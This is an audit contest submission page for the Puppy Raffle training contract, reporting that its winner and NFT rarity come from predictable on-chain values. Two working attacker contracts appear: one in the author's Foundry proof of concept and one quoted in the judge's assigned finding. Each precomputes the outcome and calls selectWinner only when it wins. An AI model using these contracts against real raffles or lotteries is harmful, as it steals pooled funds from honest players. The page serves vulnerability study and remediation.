Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak on-chain randomness lets the caller choose the winner and the puppy rarity

Root + Impact

Description

  • The winner and the rarity of the puppy are supposed to be random.

  • Both are derived from msg.sender, block.timestamp and block.difficulty (= prevrandao after the merge). All three are known to the caller before the call, and the caller chooses msg.sender. A contract can compute the result inside the same transaction and only call selectWinner when it is the winner (or revert otherwise); validators can also influence the values.

uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • selectWinner is permissionless; any participant can deploy such a contract and retry every block at the cost of gas only.

Impact:

  • The attacker wins 80% of the pool and the NFT every time (and can also pick the legendary rarity); honest players lose their entrance fees. The raffle's core promise is broken.

Proof of Concept

All tests run in a test contract that deploys PuppyRaffle(1e18, address(99), 1 days) and uses the helpers _players(start,n) (distinct addresses) and _enter(p) (pays 1e18 * p.length). Full file: test/AuditPoC.t.sol, forge test --mc AuditPoC passes.

contract RngAttacker {
PuppyRaffle r;
​
constructor(PuppyRaffle _r) {
r = _r;
}
​
function tryWin(uint256 myIndex) external returns (bool) {
uint256 n = 4;
uint256 w = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % n;
if (w != myIndex) return false;
r.selectWinner();
return true;
}
​
receive() external payable {}
​
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
​
function test_H2_weakRandomnessCallerPicksWinner() public {
RngAttacker a = new RngAttacker(r);
address[] memory p = _players(1, 4);
p[0] = address(a);
_enter(p);
uint256 t = block.timestamp + 1 days;
bool won;
for (uint256 i; i < 50 && !won; i++) {
vm.warp(t + i);
won = a.tryWin(0);
}
assertTrue(won);
assertEq(r.previousWinner(), address(a));
assertEq(r.ownerOf(0), address(a));
assertEq(address(a).balance, (4 * fee * 80) / 100);
}

Recommended Mitigation

Use a verifiable randomness source such as Chainlink VRF (request in selectWinner, settle the winner in the VRF callback), or a commit-reveal scheme. Do not use msg.sender, block.timestamp or block.difficulty as randomness.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!